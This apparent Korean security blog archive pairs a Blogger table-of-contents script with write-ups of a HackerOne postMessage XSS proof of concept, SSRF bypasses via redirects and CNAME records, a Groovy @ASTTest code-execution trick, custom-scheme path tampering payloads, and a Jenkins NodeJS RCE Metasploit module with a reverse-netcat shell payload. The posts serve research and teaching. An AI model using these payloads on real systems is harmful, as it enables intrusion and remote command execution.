2/26/2019

Blogger에 목차 자동으로 추가하기(Table of Contents on blogger)

제 블로그 글에 아직까진 목차 개념이 없었는데, 아무래도 있는게 좋을 것 같아 새벽에 부랴부랴 만들어봤습니다.

관련 내용 공유드립니당


Subtitle on blogger

음.. 구글 블로거 말고도 마크다운, 다른 위지윅 에디터등에서 본문을 구별해주는 부제목들을 설정해서 쓰는데 보통 h2, h3 으로 많이 지정합니다.
(h1 부터 쓰는곳도 있긴하죠. 마크다운의 경우에도 h1 사용하기도 합니다)
Blogger 기준으론 대략 이런식입니다.

제목: h2
부제목 h3

이제 이런 subtitle 들만 수집해서 하나의 리스트로 만들어주고, 바로 볼 수 있게 링크만 걸어주면 끝납니다.

다만 h2만 뽑아내면 문제가되는게 하나 있느데, 본문 이외에 적용된 h2도 모두 잡힌다는 점입니다.

테스트한다고 막 쓰던터라... 비주얼이 영 ㅜㅜ

이 부분도 고려해서 코드를 구성해야겠네요.

본문(post-body)의 h2만 추출하기

우선 h2만 추출해봅시다

Jquery
var h2 = $('h2')

no Jquery
var h2 = document.getElementsByTagName('h2')

이러면 h2 변수에는 페이지에서 찾은 h2들이 쭉 모이게됩니다. 아까 보여드린 이미지처럼 본문 이외 영역의 h2도 모두 수집되는데, 실제로 목차를 만들떄 제외해주고 만들어주면 될 것 같네요.

blogger에서 본문 영역은 보통 post-body class를 사용합니다. 그 class 하위에 존재하는 h2가 본문에 정의된 h2들이기 때문에 h2 리스트에서 각각 객체의 부모가 post-body인지만 걸러주면 됩니다.

$('h2')[0].parentElement.className // => post-body

이렇게하면, 부모의 className 을 가져올 수 있고 이를 분기 태워서 post-body만 처리하면 본문의 데이터만 수집할 수 있습니다. 그럼… 이제 코드로 적용해보죠.

Code on my blogger

HTML(table of contents가 삽입될 위치를 만들어줍시다)

<article> <div class="table-contents"> </div> </article>

JS(그리고.. 자바스크립트로 본문 내 h2를 수집해서 만들어줍니다)

var ToC =
  "<nav class='table-of-contents' role='navigation'>" +
    "<ul>";


var newLine, el, title, link;


$("h2").each(function() {
if($(this)[0].parentElement.className == 'post-body'){
  el = $(this);
  title = el.text();
  link = "#" + el.attr("id");

  newLine =
    "<li>" +
      "<a href='" + link + "'>" +
        title +
      "</a>" +
    "</li>";

  ToC += newLine;
}
});


ToC +=
   "</ul>" +
  "</nav>";


$(".table-contents").prepend(ToC);

h2 태그가 없거나 너무 적을 떄

적용하다 보니 하나의 문제가 있습니다. 바로 h2가 없거나 1개인 경우에 좀 보기가 안좋다는 거죠..
(그냥 떡하니 table of contents 만 적혀있의 원..)
예외처리 로직을 추가해줍시다.

var ToC =
  "<nav class='table-of-contents' role='navigation'>" +
    "<h2 class='post-body'>Table of Contents</h2>" +
    "<ul>";


var newLine, el, title, link;
var count = 0;

$("h2").each(function() {
if($(this)[0].parentElement.className == 'post-body'){
  el = $(this);
  title = el.text();
  link = "#" + el.attr("id");

  newLine =
    "<li>" +
      "<a href='" + link + "'>" +
        title +
      "</a>" +
    "</li>";

  ToC += newLine;
  count += 1; // 그냥 갯수 세고
}
});


ToC +=
   "</ul>" +
  "</nav>";

if(count > 1){ // 2개 안되면 노출 안되도록...
  $(".table-contents").prepend(ToC);
}

이러면 h2 없거나 1개인 애들은 노출이 되지 않습니다 :)

Share: | Coffee Me:

2/24/2019

postMessage XSS on HackerOne(by adac95) Review

주중에 HackerOne 리포트 뒤적뒤적 찾아보다가 postMessage를 이용한 DOM Base XSS가 있어 공유차 글 작성해봅니다.

https://hackerone.com/reports/398054

postMessage XSS?

postMessage를 이용하면 크로스 도메인간 데이터 송/수신 및 처리가 가능한데, 이 구간에서 사용자 입력에 대한 검증이 부족할 때 XSS 삽입을 할 수 있습니다. 예전에 글 작성해뒀던게 있으니 자세한 내용은 아래 링크에서 참고해주세요~
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

postMessage XSS on HackerOne(by adac95)

adac95(Adam)은 이 취약점은 50만원정도(500$) 받았다고 하네요, 보통 XSS 버그바운티 가격선에서 받은 것 같습니다. 뭐 이건 중요한게 아니니 바로 내용을 보시죠.

우선 hackerone.com 내 contact 페이지쪽엔 Marketo forms2.js 가 있습니다. 정확한 기능은 잘 모르겠으나..(제가 분석한건 아니니)

우선 이 자바스크립트에는 PostMessage 처리 구간이 존재합니다. onMessage() 핸들러로 데이터를 전달받아서 처리하게 되는데 mktoReady가 true이면 onReady(), false이면 onResponse 가 호출됩니다.

$(window).on("message", onMessage);
function onMessage (e){
  if(e.originalEvent && e.originalEvent.data){
    var d;
    try {
      d = $.parseJSON(e.originalEvent.data);
    }catch(ex){
      return;
    }
    if(d.mktoReady){
      onReady();
    }else if(d.mktoResponse){
      onResponse(d.mktoResponse)   
    }
  }
}

onResponse에는 mktoResponse의 상태를 보고 error, success로 분기해주는 로직이 있습니다.

function onResponse(mktoResponse){
  var requestId = mktoResponse["for"];
  var request = inflight[requestId];
  if(request){
    if(mktoResponse.error){
      request.error(mktoResponse.data);
    }else{
      request.success(mktoResponse.data);
    }
  }
  delete inflight[requestId];
}

여기서 문제가 되는 부분은 success 분기 구간인데, 인자값으로 받은 데이터에서 url을 뽑아내고, 최종적으로 location.href에 들어가게 됩니다.

var success = function (data){
  if(data.error){
    onError(data);
  }else if(data.formId){
    var u = findCorrectFollowUpUrl(data);
    if(false === onSuccess(values, u)){
      return;
    }
    cookieHelper.removeCookieAllDomains("_mkto_purl");
    location.href = u;
  }
}
이 과정중에선 Js단에서 인자값에 대한 Escape 처리 등이 없었고, javascript: , data: 등의 구문이 들어오게 되며 그대로 스크립트로 실행하여 처리하게 될겁니당.
순서를 보면..

onResponse => request.success => data.err(에러 아닐 때 ) => location.href={User-Input}

PoC

결국 postMessage로 공격코드가 포함된 mktoResponse를 전달해주면 트리거됩니다.

<!DOCTYPE html>
<html>
    <head>
        <title>Hackerone PostMessage XSS</title>
    </head>
    <body>
        <p>You want to contact Hackerone! Click this button and submit the form!</p>
        <button id="openH1">Click Here</button>
        <script>
            var h1Win;

            function openWin(){
                h1Win = window.open("https://www.hackerone.com/#contact/");
                setInterval(sendMessage, 250);
            }

            function sendMessage(){
                h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
            }

            document.getElementById("openH1").addEventListener('click', openWin);
        </script>
    </body>
</html>

hackerone.com에서는 아래와 같은 포맷으로 데이터를 받았을테고, 결국 followUpUrl을 따라서 javascript 구문이 동작하게 됩니다.

{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}

https://hackerone.com/reports/398054

Conclusion

솔직히 postMessage 구간은 신경쓰지 않으면 눈에 굉장히 안들어오긴 합니다.
(모든 페이지에서 postMesage가 사용되는지 체크, 검증하기엔 좀 그렇죠. 해도 ZAP/Burp Extension 등으로 해야 그나마 나을듯요)

전에 내용으로만 정리한게 실제로 나와주니 좀 반갑긴하네요..
(물론 예전 글 썼던 2016년쯤, 일하다가 한번 저걸로 찾은적이 있긴합니다. 그게 처음이자 마지막이였네요…ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ)

그나저나 전 버그바운티 하기 왜이리 귀찮을까요... 손이 안가네요

media0.giphy.com/media/NWg7M1VlT101W/giphy.gif

Reference

https://hackerone.com/reports/398054
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
Share: | Coffee Me:

2/23/2019

Bypass SSRF Protection using HTTP Redirect

오늘도 SSRF 우회 패턴 정리해봅니다. 자주 쓰던 방법 중 하나인데 최근에 제대로 먹혀서 기분이 좋네요. 별다른건 아니고 HTTP Redirect를 이용한 우회 방법입니다.

https://gph.is/2hxuIjt

What is HTTP Redirect?

이름은 거창하지만 302, 301 Response 및 Location 헤더 등으로 HTTP 페이지가 렌더링되기 전에 다른 페이지로 이동되는 걸 의미합니다.
HTTP Status Code    Temporary / Permanent    Cacheable    Method
301    Permanent    yes    GET / POST may change
302    Temporary    not by default    GET / POST may change
303    Temporary    never    always GET
307    Temporary    not by default    may not change
308    Permanent    by default    may not change

Bypass SSRF Protection

한가지 조건이 있습니다. 검증 로직이 URL 패턴이나 도메인 정보를 보고있을 때, 즉 Redirect 처리를 하지 않은 상태에서 검증하는 경우 우회할 수 있는 방법으로 쓰입니다.
예를들어 이런 코드가 있다고 칩시다.
<?php

function protect_ssrf($data){
  if(strpos($data,"www.hahwul.com") !== false){
    exit(); // url에 www.hahwul.com이 있으면 차단
  }
}

function getHtml($url, $post = null) {
    protect_ssrf($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    if(!empty($post)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    } 
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

echo getHtml($_GET['q']);
?>

정상 로드

차단되어 로드도지 않음

이런 경우에 아래처럼 hahwul.com이 들어간 도메인은 exit() 구문으로 인해 contents를 들고오지 못합니다. 일반적인 경우에는 내부망(사설대역), 내부 도메인 등의 데이터로 검증하고 있겠죠.

저 코드는 웹 요청을 다 따라가지 않고 요청전에 입력값으로만 검증하기 떄문에 아래 방법으로 우회할 수 있습니다. 아래와 같이 HTTP Redirect 코드를 공격자 서버에 두고..

<?php
header('Location: https://www.hahwul.com');
?>

실제로 이 페이지는 접근하게 되면 이런 Response가 발생하겠죠.

HTTP/1.1 302 Found
Server: nginx
Date: Fri, 22 Feb 2019 23:11:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Location: https://www.hahwul.com

SSRF 취약점이 있는 저 페이지도 위에 url을 접근했을 떄 동일한 결과를 받을겁니다. 대신 검증 로직 이후에 Location 헤더를 따라가기 떄문에 www.hahwul.com에 대한 검증 구간이 있어도 정상적으로 불러올 수 있습니다.

?q=http://your_domain/hr.php


Share: | Coffee Me:

2/22/2019

Compiler Bomb for Hacking and Security Testing

Compiler Bomb라고 들어보셨나요? 어제(이미 새벽이니..) 취약점 분석 하다가 알게된 부분인데, 간략하게 나마 정리해둘까 합니다.



말 그대로 컴파일러 폭탄, 즉 빌드 단계에서 문제를 일으키는 코드를 말합니다.
대표적인 C코드로는 이런게 있습니다.

[ C ]
main[-1u]={1};
$ gcc -mcmodel=medium 1.c -o out
.... 무한루프 ....

이렇게 빌드 단계에서 컴파일러가 쓸데없는 연산을 하게 만드는 거라고 하네요.
Python의 경우에도..

[ Python ]
(1<<19**8,)*4**7

1.pyc 파일이 32TB 보다 큰 파일이 나오게 됩니다..

[ C# ]
class X<A,B,C,D,E>{class Y:X<Y,Y,Y,Y,Y>{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}}

또한 28MB의 파일이 생성됩니다.

스택오버플로 글중에 이런 Compiler Bomb를 공유하는 챌린지가 일어났었고 스칼라, C++ 등 여러가지 언어의 Compiler Bomb를 볼 수 있습니다.
https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb

이런 Compiler Bomb는 결국 실행단계가 아닌 컴파일 과정에서 컴파일러가 우선 처리하는 로직에서 딜레이가 걸리거나, 의미없는 행동을 하여 발생하는 문제입니다.

아래 이미지를 보시면 컴파일 단계전에 preprocess를 진행하게 되는데, 여기서 걸려버리는 문제입니다. (이 과정… 분명 대학생 떄 배웠던거 같은데, 가물가물하네요….)

https://www.codingunit.com/cplusplus-tutorial-preprocessor-directives

For Hacking?

단순히 컴파일 과정에서의 이 문제가 보안분석에서 어떻게 쓰일까요? 솔직히 별 생각 없었느데, Orange Tsai의 Jenkins RCE 분석하다보니 관련 방법이 쓰인 것 같더군요… 살펴봅시다.
(https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)

우선 아래 코드는 피보나치 수열을 계산하는 코드입니다.
template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

컴파일 후 objdump로 내용을 보면 계신식이 어셈코드에는 이미 계산되어서 들어가있는 걸 볼 수 있습니다. 즉 로직이 컴파일 단계에서 실행된거죠.

$ g++ bomb.cpp -o bomb
$ objdump -M intel -d bomb
... snip ...
00000000000005fa <main>:
 5fa:    55                       push   rbp
 5fb:    48 89 e5                 mov    rbp,rsp
 5fe:    c7 45 f4 37 00 00 00     mov    DWORD PTR [rbp-0xc],0x37
 605:    c7 45 f8 6d 1a 00 00     mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:    c7 45 fc cb 7e 19 06     mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:    b8 00 00 00 00           mov    eax,0x0
 618:    5d                       pop    rbp
 619:    c3                       ret    
 61a:    66 0f 1f 44 00 00        nop    WORD PTR [rax+rax*1+0x0]



자 이런 방법이 이제 어떻게 공격에 쓰였는지 봐보죠. 대상은 Groovy script 였고, Groovy는 이런 기능을 제공하고 있습니다.

[ @ASTTest ]
ASTTest는 Groovy 컴파일러 자체의 디버깅을 위한 부분으로 컴파일 진행중에 AST 코드 구간을 실행할 수 있습니다.(여기서 preprocess이죠) 그래서 AST Bytecode가 생성되기 전에 컴파일 결과와는 무관하게 테스트 코드들을 실행할 수 있게 됩니다.


그래서 ASTTest를 이용해서(사실상 Compiler Bomb가 가능한 부분이겠네요) 코드에 대한 Sandbox를 우회하고 명령을 실행하게 됩니다.

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("mkdir dotori")
})
def x
''');

groovy 로 실행해보면 dotori 디렉토리가 생성됩니다.

$ groovy a.groovy
$ ls | grep dotori


Conclusion

사실 이 방법이 얼마나 잘 활용될 수 있는지는 모르겠습니다. 다만 알고있다면 기회가 왔을 때 해결할 수 있는 키가될 수 있으니 이런것도 있구나~ 라는 마음으로 읽어주셨길 바랍니당(뭔가 맨 앞에 써야할 말같네요..)
Share: | Coffee Me:

2/20/2019

Bypass SSRF Protection using DOMAIN CNAME and A Record

Common SSRF

서버가 직접 접근해서 데이터를 가져오는 ssrf.php 라는 페이지가 있다고 칩시다.
ssrf.php?u=https://www.hahwul.com

사용자 입력 구간에 있는 데이터를 기반으로 도메인을 비추는 경우(iframe이 아닌 직접 접근해서 뿌려주는 형태)

이런 페이지에는 일반적으로 아래 형태로 SSRF가 가능합니다.
ssrf.php?u=http://127.0.0.1/server-status
ssrf.php?u=https://internal_domain
ssrf.php?u=ssh://~~~

우회패턴들도 제가 정리해둔거보다 훨씬 많을거구요(한번 싹 정리해야하는데 왜이리 귀찮을까요..)
https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html

보다보니 DNS CNAME, A Recode를 이용해서 우회 가능할 것 같았고, 테스트해보니 되어서 블로그 포스팅으로 작성해봅니다.

CNAME, A Record?

CNAME(Canonical Name): 도메인에 여러 별칭(?)을 부여함
e.g
abcd.test.com => test.com
efgh.test.com => test.com

acde, efgh 모두 test.com의 이름 중 하나로 인식됩니다. abcd.test.com으로 접근시 test.com으로 붙은 것과 동일한 효과

A record는 도메인과 이를 매핑하는 IP
abcd.test.com => 192.168.0.2
efgh.test.com => 192.168.0.3

이런식으로 도메인 별 IP를 매핑하여 사용

Bypass SSRF Protection using CNAME

이런 CNAME과 A Record는 각각 도메인에 매핑된 다른 도메인, IP를 가리키기 때문에 내부주소나 사설 대역 IP를 지정해서 SSRF의 방어로직을 우회하고 내부망으로 접근 시도를 할 수 있습니다.
localhost.hahwul.com이라고 하나 만들었는데요,

$ nslookup localhost.hahwul.com
.....

Non-authoritative answer:
localhost.hahwul.com    canonical name = localhost.
Name:    localhost
Address: 127.0.0.1

과 같이 127.0.0.1을 바라보게 CNAME을 설정해두었습니다.
SSRF 쿼리를 지정한 도메인으로 날려보면..

ssrf.php?u=http://localhost.hahwul.com:3000

와아아아아아

Is Secure?

솔직히 정확한 답을 드리기 어렵습니다. 아무래도 CNAME과 A Record에 사설 주소나 도메인이 노출될 수 있는 부분들이다 보니 정보가 노출될 수 있는 우려도 있습니다. 우선은 localhost, 127.0.0.1 정도만 추가하고 해보는건 어떨까 합니다.

한번에 CNAME 리스트를 조회할 수 없다는 가정하엔, BruteForce를 막기 위해 굉장히 어려운 도메인 주소를 주는것도 한 방법으로 생각되네요.
Share: | Coffee Me:

Resolving "handshake alert: unrecognized_name" Error in ZAP and Burp suite

최근에 일부 테스트환경(hosts 추가한거라 인증서문제가…)에서 이런 에러를 만났습니다.

handshake alert: unrecognized_name

정확히는…

javax.net.ssl.SSLProtocolException: handshake alert: unrecognized_name'

요 에러이겠구요. ZAP , Burp 모두 Java Application 이고 동일한 문제가 발생했었는데, 어떤 내용이고 어떻게 해결됬는지 공유드립니닷.

SNI Extension?

우선 SNI에 대해 알고 시작해야합니다. 안그래도 요즘 핫한 키워드이긴한데.. 간략히 설명드리면 name base의 virtual hosting을 안전하게 쓰기 위한 TLS의 확장 프로토콜? 정도로 이를 이용하면 인증정보를 여러 도메인에 공유해서 사용할 수 있습니다.
<virtualhost *:443>
  ServerName example.com
  SSLEnable SNI
  SSLServerCert default
  SSLSNIMap a.example.com sni1-rsa
  SSLSNIMap a.example.com sni1-ecc
  SSLSNIMap b.example.com sni2
</virtualhost>
관련 내용은 RFC3546(https://tools.ietf.org/html/rfc3546)에 관련 있으니 확인해보시고, 보안적인 문제는 워낙 여러곳에서 다루고 있으니 생략하겠습니다.
(절대 귀찮아서 그런거임)

https://media.giphy.com/media/ZXKZWB13D6gFO/giphy.gif

Solution

unrecognized_name 에러가 SNI 설정으로 일어나는 에러인데, SNI Extension 해제로 해결 가능합니다. 저 환경이 불편할 수 있는데 테스트 이후에 다시 원복하시는게 좋을 것 같습니다


ZAP

Options => JVM 에서 아래 구문 추가로 해결할 수 있습니다.
-Djsse.enableSNIExtension=false

Options > JVM > Add JVM Options (Djsse.enableSNIExtension=false)


아니면… run script에 직접 넣어줘도 됩니다.

zap.sh
exec java ${JMEM} ${JAVAGC} -Xdock:icon="../Resources/ZAP.icns" -Djsse.enableSNIExtension=false -jar "${BASEDIR}/zap-2.7.0.jar" "${    ARGS[@]}"

보통은 설정에서 제어해주는게 편할겁니다. 다만 설정에서 잘못된 값이 들어가고 ZAP 실행 시 바로 죽어버릴 수 있는데 이때는 command line에서 zap 실행 후 옵션에서 다시 설정해주시면 됩니다. (Options > JVM이 환경 변수로 전달되서 들어가던가…했을거에요)


Burp suite

Burp는 아예 메뉴로 빼주셨습니다.
User options => SSL => Disable Java SNI

User options > SSL > Disable Java SNI extension

Share: | Coffee Me:

2/17/2019

Custom Scheme API Path Tampering과 트릭을 이용한 API Method 변조

앱 테스트하다보면 Custom Scheme에서 발생한 API 요청 중 일부가 GET만 사용하는데, 이런 구간에서 주소 변조나 API 로직을 바꿀 수 있는 부분이 있을 때 좀 난감하긴합니다.

실제로 중요한 요청들은 POST로 구현되는데(RESTful 하려면.. 얼추) GET을 POST로 바꾸기엔 Native 를 건드리는게 아니라서 좀 애매합니다.

생각하다보니 재미있는 방법이 나와서 공유드립니다~


Custom Scheme API Path Tampering

이런 공격(?) 취약점(?)을 지칭하는 말이 있는지는 모르겠으나, 모바일 앱 분석할 떄 자주 챙기는 부분인데요.. 그냥 대충 이름 끄적였습니다.. 예시를 통해 대략 어떤건지 봐보죠.

이런 스킴이 있다고 칩시다.

testapp://auth?user={user input}

이를 통해 발생하는 요청은

GET /auth/checkuser/{user input}/name
Auth: a7656465a78a9765a4a5...
이렇다고 할 때 이 스킴은 API Path 변조의 위협이 있겠죠.

Attack Scheme
testapp://auth?user=../../myapi?

Request
GET /auth/checkuser/../../myapi?/name
Auth: a7656465a78a9765a4a5...
=>
GET /myapi?/name
Auth: a7656465a78a9765a4a5...

개발자의 의도와는 다르게 공격자는 PATH를 바꿀 수 있느데, 이때 HTTP Method는 GET으로 한정됩니다.. (현재 기준으론)
간혹 이런 경우도 있습니다.

Attack Scheme
testapp://auth?callback=https:///www.hahwul.com

Request
GET /auth/
Host www.hahwul.com
Auth: a7656465a78a9765a4a5...

공격코드로 뽑아내면 2가지정도 케이스가 있습니다.
  • on ADB
    거의 테스트용입니다..
    $ adb shell am start -a android.intent.action.VIEW -d "testapp://auth?callback=https:///www.hahwul.com"
    
  • on Web
    테스트코드로는 별로지만 실제로는 이쪽이 더 사용성이 높습니다.
    <iframe src="testapp://auth?callback=https:///www.hahwul.com" style="width:1px;height:1px;"></iframe>
    

Change HTTP Method for Useful APIs Call

보통 GET 단위에서의 변조도 분명 무시하진 못합니다. 중요 헤더나 인증쿠키, API Key 등이 같이 사용되기 떄문에 Native 레벨에서의 API과 동일하기 떄문이죠. 그치만, POST 등 다른 메소드를 쓸 수 있을 때 좀 더 중요한 기능들을 호출할 수 있어집니다.

이 방법은 위에 이야기드린 케이스 중 후자에서 사용할 수 있습니다. 도메인 자체를 바꿔줄 수 없으면 GET => POST 자체는 안되는게 맞습니다. 혹여나 포인트를 본다면 동일한 위치의 API 중 외부로 넘겨줄 수 있거나, 내부 API 중 GET => POST 전환이 필요한 구간이 있어야겠지요.
HTTP Redirect or Proxy(Method change) 등으로 GET => POST로 바꿀 수 있습니다.

<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.hash.replace('#','');
  f.method='post';
  f.submit();
</script>

이제 이걸 약간 적용해보면..

Attack Scheme
testapp://auth?callback=https://192.168.0.13/test.html#/private/api/call
Request Step
[ Request 1 ]
GET /test.html
Host: 192.168.0.13
Auth: a7656465a78a9765a4a5...

[ Response 1 ]
200 OK
....
<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.pathname;
  f.method='post';
  f.submit();
</script>

[ Final Request ]

POST /private/api/call
Host: target_domain
Auth: a7656465a78a9765a4a5...

결과적으론 /private/api/call을 POST로 호출하게 됩니다.

https://fanfest.com/wp-content/uploads/2018/10/Ant-Man-Baba-Yaga.gif

How to defense?

결국 입력값 검증에 대한 문제입니다. 대부분 Custom Scheme으로 들어온 값에 대해선 ../ 등의 구문을 Escape 하지 않는 경우가 많은데 보편적인 웹 공격에 쓰이는 대다수의 구문은 막아두는게 좋습니다. 또한 다바이스로 넘어가서 처리되는 부분이라 인코딩쪽으로 우회 케이스가 굉장히 많을텐데, 이 또한 잘 디코딩해서 Escape가 필요할 것 같습니다.

보통 Scheme 파라미터에 들어오는 값은 어느정도 정해져있으니(타입이나 값의 특징들?) 허용범위(예를들면 변수 타입이 Int가 아닌경우..)를 벗어났을 떄 차단하는 방식으로 대응하면 좀 더 효과적입니다.
Share: | Coffee Me:

2/14/2019

Jenkins RCE Vulnerability via NodeJS(using metasploit module)

최근에 따로 봤었던 내용인데, 톡방으로 관련 내용 공유(https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html)받아 이참에 블로그 포스팅으로 작성해봅니다.

Summary

Jenkins에서 JOB 생성 및 Build 권한을 가진 사용자 계정이 탈취됬을 때 이를 이용해서 시스템 명령을 실행할 수 있는 취약점으로 영향받는 버전은 아래와 같습니다.
Jenkins <= 2.150.2
 + 라곤 이야기 나왔지만, 최신 버전 기준으로 영향있다고 합니다.(thanks bae!)
 + 결국 사용자 계정 관리 및 ACL이 핵심인듯 하구요..

우선 사용자 계정 획득, NodeJS Plugin 사용이라는 전제조건이 붙긴 하지만, 계정 자체가 시스템 명령 실행이 불가능한 계정이기 떄문에 계정탈취나 계정을 가진 사용자로부터 공격이 일어났을 때 서버에서 명령 실행이 가능하여 리스크가 좀 있는 것 같습니다.

What is Vulnerable?

정확한 Write-up은 없어서 공격코드 보고 추측한거긴한데,
Jenkins는 Remote API를 지원해줍니다. 그래서 API Call을 통해서 JOB을 등록하고 Build할 수 있습니다.
(https://wiki.jenkins.io/display/JENKINS/Remote+access+API)
curl -X POST JENKINS_URL/job/JOB_NAME/build \
  --user USER:TOKEN \
  --data-urlencode json='{"parameter": [{"name":"id", "value":"123"}, {"name":"verbosity", "value":"high"}]}'
이 과정 중 NodeJS 플러그인이 설치되어 있다면 JSON 트리에서 definition>script 부분에 nodejs 스크립트를 삽입할 수 있게 됩니다.

(https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin)
그래서 이런식으로 JOB 등록/빌드 요청에서 Node 구문을 전달해줄 수 있고 Node구문 전달이 가능하니 명령 실행이 아주 쉽게 일어나게 됩니다.

node {
    env.NODEJS_HOME = "${tool 'Node 6.x'}"
    // on linux / mac
    env.PATH="${env.NODEJS_HOME}/bin:${env.PATH}"
    // on windows
    env.PATH="${env.NODEJS_HOME};${env.PATH}"
    sh 'npm --version'
}
예제 코드로만 봐도 sh로 npm 버전을 체크하는 걸 알 수 있죠.
전체 공격코드도 비슷한 흐름으로 동작합니다.
A. 로그인
  • POST /j_acegi_security_check
B. 잡 생성
  • GET /view/all/newJob
C. Item 생성, 페이로드 세팅
  • POST /view/all/createItem
  • POST /job/cmd/configSubmit (아래 부분 중 definition:{"script":"node"{코드코드} 부분)
{"description": "cmd", "properties": {"stapler-class-bag": "true", "hudson-security-AuthorizationMatrixProperty": {}, "jenkins-model-BuildDiscarderProperty": {"specified": false, "": "0", "strategy": {"daysToKeepStr": "", "numToKeepStr": "", "artifactDaysToKeepStr": "", "artifactNumToKeepStr": "", "stapler-class": "hudson.tasks.LogRotator", "$class": "hudson.tasks.LogRotator"}}, "org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty": {"specified": false}, "org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty": {"specified": false}, "com-coravy-hudson-plugins-github-GithubProjectProperty": {}, "org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty": {"specified": false, "hint": "MAX_SURVIVABILITY"}, "org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty": {"specified": false, "buildCount": "1"}, "hudson-model-ParametersDefinitionProperty": {"specified": false}, "jenkins-branch-RateLimitBranchProperty$JobPropertyImpl": {}, "org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty": {"triggers": {"stapler-class-bag": "true"}}}, "disable": false, "hasCustomQuietPeriod": false, "quiet_period": "5", "displayNameOrNull": "", "": "0", "definition": {"script": "node {\\n    sh \\"#{shell}\\"\\n}", "": ["try sample Pipeline...", "\\u0001\\u0001"], "sandbox": true, "stapler-class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition", "$class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition"}, "core:apply": "", "Jenkins-Crumb": "#{crumb}"}"}
D. 트리거
  • POST /job/cmd/build?delay=0sec

Code on Mad-Metasploit

아래 링크에서 직접 다운로드 받아도 되고 Mad-Metasploit에 추가해뒀으니 아래 명령으로 적용하셔서 사용하셔도 됩니다.
(https://pentest.com.tr/exploits/jenkins_nodejs_rce.rb)

[ Raw file ]
https://github.com/hahwul/mad-metasploit/blob/936bf45e426490f6de5452da142a9981a9c7c802/mad-metasploit-modules/exploits/multi/http/jenkins_nodejs_rce.rb

[ Use mad-metasploit ]
A. Sync mad-metasploit
./mad-metasploit -y
[+] Sync Mad-Metasploit Modules/Plugins/Resource-Script to Metasploit-framework
[+] Metasploit-framewrk directory: /opt/metasploit-framework/embedded/framework/
    (set ./conf/config.rb)
 - Sync Custom Modules
 - Auxiliary success..
 - Exploits success..
 - Posts success..
 - Sync Custom Plugins
 - Plugins success.
[!] Finish :)

B. Run Metasploit and use this module
HAHWUL > search nodejs

Matching Modules
================

   Name                                                           Disclosure Date  Rank       Check  Description
   ----                                                           ---------------  ----       -----  -----------
   auxiliary/dos/http/nodejs_pipelining                           2013-10-18       normal     Yes    Node.js HTTP Pipelining Denial of Service
   exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce  2019-02-11       good       Yes    Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)


HAHWUL > use exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > show options

Module options (exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   PATH      /                yes       The path to jenkins
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   USERNAME                   no        The username to authenticate as
   VHOST                      no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Jenkins <= 2.150.2

Exploiting with Metasploit

옵션이 복잡하진 않습니다. Payload 세팅과 대상 정보 들어가면되고, 계정/패스워드는 인증이 있는 부분에선 필수가 되겠고, 인증 없이 사용하는 서버라면 바워줘도 Exploit이 가능합니다.

Set options
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set LHOST 192.168.0.7
LHOST => 192.168.0.7
